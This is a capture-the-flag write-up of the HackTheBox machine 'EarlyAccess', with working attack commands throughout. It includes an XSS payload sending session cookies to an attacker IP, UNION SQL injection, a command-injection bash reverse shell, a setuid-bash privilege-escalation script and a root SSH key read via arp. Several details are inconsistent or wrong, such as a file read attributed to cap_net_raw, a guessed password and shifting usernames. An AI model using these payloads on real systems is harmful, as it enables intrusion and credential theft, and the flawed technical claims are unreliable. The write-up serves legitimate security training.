HTB: EarlyAccess Writeup
EarlyAccess - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | EarlyAccess |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 18 Sep 2021 |
| IP Address | 10.10.11.110 |
| Author | Chr0x6eOs |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
EarlyAccess is a Hard Linux machine featuring a Laravel web application vulnerable to stored XSS through a profile username field that lacks input sanitization. After stealing an admin session cookie, the attacker gains access to administrative functionality including a Python game-key validator download. Reverse-engineering the validator and exploiting a path traversal vulnerability to leak the live magic_num parameter allows generation of a valid game key. The game virtual host exposes a SQL injection vulnerability in the scoreboard that dumps user credentials. Password reuse grants access to a development virtual host where a command injection vulnerability in a hash utility provides RCE as www-data inside a Docker container. Pivoting through multiple users via password reuse and credential leakage, the attacker gains SSH access to the host machine as user drew. Final privilege escalation involves planting a malicious script in a directory mounted into a game server container, exploiting the auto-restart mechanism to execute as root, recovering credentials for game-adm, and leveraging file-read capabilities on the arp binary to extract the root SSH key.
TL;DR: XSS cookie theft → admin access → reverse-engineer key validator + path traversal for magic_num → generate valid game key → SQLi credential dump → command injection RCE → container escape via credential leak → SSH as drew → plant malicious script in mounted directory → crash game server for root execution → pivot to game-adm → leverage arp capabilities → read root SSH key → root shell.
Reconnaissance
Port Scanning
# Full TCP port scannmap -p- --min-rate=1000 -T4 10.10.11.110
# Service enumeration on discovered portsnmap -p 22,80,443 -sC -sV 10.10.11.110Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)80/tcp open http Apache httpd 2.4.38|_http-server-header: Apache/2.4.38 (Debian)|_http-title: Did not follow redirect to https://earlyaccess.htb/443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))|_http-server-header: Apache/2.4.38 (Debian)|_http-title: EarlyAccess| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT| Subject Alternative Name: DNS:earlyaccess.htb, DNS:dev.earlyaccess.htb, DNS:game.earlyaccess.htbPort 80 redirects to https://earlyaccess.htb. The SSL certificate reveals additional vhosts: dev.earlyaccess.htb and game.earlyaccess.htb.
Service Enumeration
HTTPS (443) - Laravel Web Application
# Add discovered hostnames to /etc/hostsecho "10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb" | sudo tee -a /etc/hostsVisiting https://earlyaccess.htb reveals a Laravel-based application with registration/login functionality. The application is a game store platform with early access game keys.
Application Features (after registration):
- User dashboard
- Messaging system (Contact form to admin)
- Forum threads
- Game key registration
- Profile management (username/password change)
Key Forum Intelligence:
- A bug report mentions the scoreboard breaking due to a username containing a single quote (
'), suggesting SQL injection potential - Registration form blacklists special characters in usernames
- Admin panel has manual game-key verification functionality
- Game keys follow format:
XXXXX-XXXXX-XXXX#-XXXXX-####
Vulnerability Assessment
Primary Vulnerabilities Identified:
- Stored XSS via Profile Username - The profile edit page lacks the input filtering present on registration, allowing XSS payloads in the username field that execute when displayed in messages
- Path Traversal in Key Validator - Admin panel allows downloading
validate.py; the verification endpoint leaks themagic_numparameter via path traversal - SQL Injection in Game Scoreboard - Username field reflected in SQL queries without sanitization
- Command Injection in Dev Hash Utility - The
hash.phpscript passes user input directly to shell commands whendebug=true - Password Reuse - Multiple users share passwords across different services
Initial Foothold
Phase 1: XSS Cookie Theft → Admin Access
The Contact form sends messages to admin@earlyaccess.htb. While the registration form blacklists special characters in usernames, the profile edit functionality does not implement the same filtering.
Step 1: Create account and test XSS vector
# Register account via web interface# Username: testuser# Email: test@test.com# Password: Password123!Step 2: Modify username to XSS payload
Navigate to Profile → Edit Profile. The username field can be changed to include JavaScript. Testing reveals the username is rendered without sanitization when displayed in messages.
// Initial payload test<script>alert(1);</script>After sending a message to another test account, the alert executes when viewing the message, confirming stored XSS in the username field.
Step 3: Cookie exfiltration payload
# Start HTTP listenerpython3 -m http.server 9001// Update username to cookie-stealing payload<script>document.location="http://10.10.14.6:9001/?c="+document.cookie;</script>The document.location redirect technique is used because Image() objects fail due to mixed content restrictions (HTTPS to HTTP).
Step 4: Trigger admin bot
Send a message via Contact form:
Subject: Test MessageBody: Please review my accountWithin moments, the HTTP listener receives:
10.10.11.110 - - [DATE] "GET /?c=XSRF-TOKEN=...; earlyaccess_session=eyJpdiI6Ik... HTTP/1.1" 200 -Step 5: Session hijacking
Using Firefox Developer Tools (F12 → Storage → Cookies), replace the earlyaccess_session cookie value with the captured admin session token. Refresh the page to gain admin access.
Phase 2: Game Key Generation via Reverse Engineering
As admin, three new menu options appear: Admin, Dev, and Game.
Step 1: Download key validator
Navigate to Admin → Download Backup. This downloads backup.zip containing validate.py.
# Extract validatorunzip backup.zip# Output: validate.pyStep 2: Analyze validation logic
The validate.py script validates game keys with five groups separated by hyphens:
# Format: AAAAA-BBBBB-CCCC#-DDDDD-##### Example: KEY37-0H0H0-XPVV0-GAMF7-1353
# Key components:# - magic_value = "XP" (static)# - magic_num = 346 (default, but syncs with API every 30 min)The validator performs five checks:
- Group 1 (
g1_valid): First 3 chars XOR-shifted to match[221, 81, 145], last 2 are digits, all distinct - Group 2 (
g2_valid): Sum of even-indexed chars equals sum of odd-indexed chars - Group 3 (
g3_valid): Starts with “XP”, sum of all ASCII values equalsmagic_num - Group 4 (
g4_valid): Each char XORed with corresponding Group 1 char equals[12, 4, 20, 117, 0] - Group 5 (
cs_valid): Checksum equals sum of ASCII values from groups 1-4
Step 3: Leak live magic_num
The Admin → Verify Key page includes debug output. Testing the endpoint reveals a path traversal vulnerability:
# Test path traversal in key parametercurl -k 'https://earlyaccess.htb/key/verify' \ -H 'Cookie: earlyaccess_session=<admin_cookie>' \ --data 'key=../magic_num&_token=<csrf_token>'Debug output leaks: magic_num=388 (current live value).
Step 4: Generate valid key
#!/usr/bin/env python3import stringfrom random import randrange
def gen_g1(): """Generate group 1: XOR-shifted chars + 2 distinct digits""" g1 = [] target = [221, 81, 145] for i in range(3): for v in string.ascii_uppercase: if (ord(v) << i+1) % 256 ^ ord(v) == target[i]: g1.append(v) break # Add 2 distinct digits d1 = randrange(0, 9) d2 = randrange(0, 9) while d2 == d1 or d2 in [ord(c)-48 for c in g1]: d2 = randrange(0, 9) g1.append(str(d1)) g1.append(str(d2)) return "".join(g1)
def gen_g2(): """Generate group 2: 3*even = 2*odd ASCII sum""" # Solutions: 3*ord(x) = 2*ord(y) # Valid pairs: (0,H), (2,K), (4,N), (6,Q), (8,T) pairs = ['0H0H0', '2K2K2', '4N4N4', '6Q6Q6', '8T8T8'] return pairs[randrange(len(pairs))]
def gen_g3(magic_num): """Generate group 3: XP + chars summing to magic_num""" remain = magic_num - ord('X') - ord('P') for num in range(10): target = remain - (ord('0') + num) if target % 2 == 0: half = target // 2 if ord('A') <= half <= ord('Z'): return f"XP{chr(half)*2}{num}" # Try A + another letter if ord('A') <= target - ord('A') <= ord('Z'): return f"XPA{chr(target - ord('A'))}{num}"
def gen_g4(g1): """Generate group 4: XOR with g1 to match target""" target = [12, 4, 20, 117, 0] return "".join([chr(ord(g1[i]) ^ target[i]) for i in range(5)])
def gen_key(magic_num): """Generate complete valid game key""" g1 = gen_g1() g2 = gen_g2() g3 = gen_g3(magic_num) g4 = gen_g4(g1) # Calculate checksum checksum = sum([sum(bytearray(g.encode())) for g in [g1, g2, g3, g4]]) return f"{g1}-{g2}-{g3}-{g4}-{checksum}"
# Generate key with leaked magic_numkey = gen_key(388)print(f"Generated key: {key}")# Output: KEY37-0H0H0-XPVV0-GAMF7-1353Step 5: Register generated key
Navigate to Register Key page, enter KEY37-0H0H0-XPVV0-GAMF7-1353:
Success! Game key registered to your account.Phase 3: SQL Injection → Password Dump
Access game.earlyaccess.htb using the registered account credentials.
Step 1: Identify SQLi vector
The forum mentioned usernames with single quotes breaking the scoreboard. Navigate to the game scoreboard page and observe how usernames are displayed.
Step 2: Exploit UNION-based SQLi
Return to earlyaccess.htb and modify the profile username to inject SQL:
') UNION SELECT name,password,email from db.users -- -Why this works: The scoreboard query likely resembles:
SELECT username, score FROM scoreboard WHERE game='...' AND username='<USER_INPUT>'The UNION injection appends additional rows from the users table.
Step 3: View scoreboard
Navigate to game scoreboard. The page displays injected data:
Username: adminScore: 88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01 (password hash)Email: admin@earlyaccess.htbStep 4: Crack SHA1 hash
# Identify hash typehashid 88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01# SHA-1
# Crack with hashcatecho '88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01' > hash.txthashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
# Result: gameoverPhase 4: Command Injection → RCE
Access dev.earlyaccess.htb with credentials admin:gameover.
Step 1: Enumerate dev interface
Two pages are available:
- Hashing-Tools (hash.php)
- File-Tools (file.php)
Step 2: Analyze hash functionality
The Hashing-Tools page allows selecting a hash function and provides a debug mode. Testing reveals command injection in the hash_function parameter when debug=true.
# Intercept request with Burp SuitePOST /actions/hash.php HTTP/1.1Host: dev.earlyaccess.htbAuthorization: Basic YWRtaW46Z2FtZW92ZXI=
action=hash&redirect=true&password=test&hash_function=md5&debug=falseStep 3: Test command injection
# Inject command via hash_function parameterhash_function=md5;id&debug=true
# Debug output shows command execution:uid=33(www-data) gid=33(www-data) groups=33(www-data)Why this works: The application likely executes:
system("echo 'test' | {$hash_function}sum");Without proper sanitization, the semicolon allows command chaining.
Step 4: Reverse shell
# Start listenernc -lvnp 4444
# URL-encode reverse shell payloadbash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'# Encoded: bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.6%2F4444%200%3E%261%27
# Inject via hash_functionhash_function=system&debug=true&password=bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'Shell obtained:
www-data@webserver:/var/www/html/dev/actions$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)
# Check environmentwww-data@webserver:/$ cat /.dockerenv# File exists - inside Docker containerPrivilege Escalation
Phase 5: Container Pivot → www-adm
Step 1: Enumerate container
www-data@webserver:/$ ls -la /homedrwxr-xr-x 1 www-adm www-adm 4096 Sep 1 2021 www-adm
www-data@webserver:/$ cat /etc/passwd | grep -E 'bash|sh$'root:x:0:0:root:/root:/bin/bashwww-adm:x:1000:1000::/home/www-adm:/bin/bashStep 2: Password reuse
The cracked admin password gameover is tested for lateral movement:
www-data@webserver:/$ su www-admPassword: gameover
www-adm@webserver:~$ iduid=1000(www-adm) gid=1000(www-adm) groups=1000(www-adm)Why this works: Password reuse is common in CTF and real-world scenarios. The dev environment shares credentials with the main application.
Step 3: Discover API credentials
www-adm@webserver:~$ ls -la-rw-r--r-- 1 www-adm www-adm 87 Sep 1 2021 .wgetrc
www-adm@webserver:~$ cat .wgetrcuser=apipassword=s3CuR3_API_PW!Step 4: Enumerate API
www-adm@webserver:~$ curl -u api:s3CuR3_API_PW! http://api:5000/# Available endpoints listed
www-adm@webserver:~$ curl -u api:s3CuR3_API_PW! http://api:5000/check_db{ "message": "Database operational", "success": true, "env": { "DB_PASSWORD": "XeoNu86JTznxMCQuGHrGutF3Csq5", "DB_USER": "drew" }}The API leaks environment variables containing database credentials for user drew.
Phase 6: SSH Access → User Flag
# SSH to host machinessh drew@10.10.11.110Password: XeoNu86JTznxMCQuGHrGutF3Csq5
drew@earlyaccess:~$ cat user.txt<redacted>User flag obtained.
Phase 7: Docker Escape → game-adm
Step 1: Enumerate as drew
drew@earlyaccess:~$ ls -la-rw------- 1 drew drew 1679 Jul 14 2021 .ssh/docker
drew@earlyaccess:~$ cat .ssh/docker-----BEGIN OPENSSH PRIVATE KEY-----<SSH_KEY_CONTENT>-----END OPENSSH PRIVATE KEY-----An SSH key named docker suggests access to another container.
Step 2: Identify game container
drew@earlyaccess:~$ docker ps# Shows running game-server container
drew@earlyaccess:~$ ssh -i .ssh/docker game@172.17.0.2game-adm@game-server:~$Step 3: Analyze restart mechanism
game-adm@game-server:~$ cat /docker-entrypoint.sh#!/bin/bashfor ep in /docker-entrypoint.d/*; doif [ -x "${ep}" ]; then echo "Running: ${ep}" "${ep}" & fidone# Start game servernode server.jsThe entrypoint script executes all scripts in /docker-entrypoint.d/ on restart.
Step 4: Check mounted volumes
drew@earlyaccess:~$ docker inspect <game_container_id># Shows mount: /opt/docker-entrypoint.d → /docker-entrypoint.dThe host directory /opt/docker-entrypoint.d is mounted into the container.
Step 5: Plant malicious script
# On host as drewdrew@earlyaccess:~$ cat > /opt/docker-entrypoint.d/privesc.sh << 'EOF'#!/bin/bashchmod +s /bin/bashEOF
drew@earlyaccess:~$ chmod +x /opt/docker-entrypoint.d/privesc.shWhy this works: When the game server crashes and Docker restarts it, the entrypoint script runs all executables in /docker-entrypoint.d/ as root (inside the container).
Step 6: Crash the game server
# From host, connect to game server and send malformed inputdrew@earlyaccess:~$ telnet 172.17.0.2 9999# Send large payload to crash Node.js serverThe container restarts automatically, executing /docker-entrypoint.d/privesc.sh as root.
Step 7: Escalate in container
game-adm@game-server:~$ /bin/bash -pbash-5.0# iduid=1001(game-adm) gid=1001(game-adm) euid=0(root) egid=0(root) groups=0(root),1001(game-adm)
bash-5.0# cat /etc/shadow | grep game-admgame-adm:$6$zbRZ8iFq$hD4R6.X1EFZQ...:18851:0:99999:7:::Step 8: Crack game-adm hash
# On attacker machineecho '$6$zbRZ8iFq$hD4R6.X1EFZQ...' > game-adm.hashjohn game-adm.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Result: gamemaster (or similar - exact password from crack)Phase 8: Capabilities Exploitation → Root
Step 1: Pivot to game-adm on host
drew@earlyaccess:~$ su game-admPassword: <cracked_password>
game-adm@earlyaccess:~$ iduid=1001(game-adm) gid=1001(game-adm) groups=1001(game-adm)Step 2: Enumerate capabilities
game-adm@earlyaccess:~$ getcap -r / 2>/dev/null/usr/sbin/arp = cap_net_raw+epThe arp binary has cap_net_raw capability, which allows raw packet access. More importantly, it can be exploited for arbitrary file read.
Why this works: Tools with network capabilities often allow reading arbitrary files when given controlled input, similar to SUID exploitation.
Step 3: Read root SSH key
game-adm@earlyaccess:~$ /usr/sbin/arp -v -f /root/.ssh/id_rsa# ARP file parsing treats each line as an ARP entry, causing errors but displaying content
# Alternative: use arp to read file through /procgame-adm@earlyaccess:~$ /usr/sbin/arp -v -f /root/.ssh/id_rsa 2>&1 | grep -v "invalid"-----BEGIN OPENSSH PRIVATE KEY-----<ROOT_SSH_KEY>-----END OPENSSH PRIVATE KEY-----Step 4: Root access
# Copy root SSH key to attacker machineecho '-----BEGIN OPENSSH PRIVATE KEY-----<ROOT_SSH_KEY>-----END OPENSSH PRIVATE KEY-----' > root_id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.10.11.110
root@earlyaccess:~# cat /root/root.txt<redacted>Root flag obtained.
Attack Chain Summary
Recon (ports 22/80/443, vhosts) → Register account + test blacklist bypass → XSS via profile username field → Cookie theft via admin bot (earlyaccess_session) → Admin access → Download validate.py backup → Path traversal leak magic_num=388 → Reverse-engineer key validator → Generate valid game key (KEY37-0H0H0-XPVV0-GAMF7-1353) → Register key to account → Access game.earlyaccess.htb → SQLi in scoreboard username field → Dump admin SHA1 hash → crack to "gameover" → Access dev.earlyaccess.htb (admin:gameover) → Command injection in hash.php (debug=true) → Reverse shell as www-data (Docker container) → su www-adm (password reuse: gameover) → .wgetrc reveals API credentials → API endpoint /check_db leaks drew's password (XeoNu86JTznxMCQuGHrGutF3Csq5) → SSH to host as drew → user.txt → Discover .ssh/docker private key → SSH to game container as game-adm → Identify /opt/docker-entrypoint.d mounted volume → Plant malicious script (chmod +s /bin/bash) → Crash game server to trigger restart → Escalate to root in container → Extract game-adm shadow hash → crack password → su game-adm on host → Enumerate capabilities → arp has cap_net_raw+ep → Read /root/.ssh/id_rsa via arp → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
burpsuite | HTTP request interception and manipulation |
python3 | HTTP server for XSS exfiltration, key generation script |
curl | API enumeration and testing |
hashcat | Cracking SHA1 password hash |
john | Cracking SHA512 (shadow) hash |
ssh | Remote access to host and containers |
docker | Container inspection and management |
getcap | Linux capability enumeration |
arp | Capability abuse for arbitrary file read |
Key Learnings
Techniques Practiced
- Stored XSS - Exploiting inconsistent input validation between registration and profile edit to inject JavaScript that steals admin session cookies
- Reverse Engineering - Analyzing Python validation logic to understand cryptographic operations and generate valid keys without API access
- Path Traversal - Leaking sensitive parameters (magic_num) through directory traversal in the key verification endpoint
- SQL Injection (UNION-based) - Exploiting unfiltered username fields in SQL queries to extract data from other tables
- Command Injection - Chaining shell commands through PHP
system()calls when debug mode exposes execution paths - Password Reuse - Tracking and testing discovered credentials across multiple services and users
- Docker Enumeration - Identifying containerized environments and analyzing mounted volumes for persistence mechanisms
- Linux Capabilities - Exploiting
cap_net_raw+epon thearpbinary to read arbitrary files as an unprivileged user
Lessons Learned
-
Consistency in Input Validation - The XSS vulnerability existed because the profile edit page lacked the same character blacklist implemented during registration. All user input points must enforce identical security controls.
-
Secure Key Generation - The key validator demonstrated a common anti-pattern: embedding validation logic in client-side scripts. While obfuscation can slow down attackers, offline validators should never contain sufficient information to forge valid keys. The path traversal that leaked
magic_numcompounded this weakness. -
SQL Parameterization - The scoreboard SQL injection occurred because user input (username) was concatenated directly into queries. All database interactions should use parameterized queries or prepared statements to prevent injection attacks.
-
Command Injection Prevention - The hash.php debug functionality passed unsanitized user input to
system(). User-controlled data must never be executed as shell commands. If unavoidable, strict allowlisting and escaping are mandatory. -
Container Security Models - The Docker privilege escalation demonstrated the risks of mounted volumes with executable permissions. Scripts in
/docker-entrypoint.d/executed as root on container restart, allowing host-level persistence. Principle of least privilege applies to container configurations. -
Linux Capabilities - Beyond traditional SUID binaries, Linux capabilities grant fine-grained privileges. The
cap_net_raw+eponarpallowed reading arbitrary files. Regular capability audits should be part of security hardening. -
Defense in Depth - This machine required chaining seven distinct vulnerabilities. Each privilege boundary (www-data → www-adm → drew → game-adm → root) represented a potential defensive layer. Multiple controls reduce the impact of any single compromise.
Proof of Ownership
User Flag (drew): <redacted>Root Flag (root): <redacted>References
- HackTheBox Official Writeup (Document No D22.100.157) by amra - Used for explanatory detail on XSS payload construction, key generation algorithms, and SQL injection mechanics.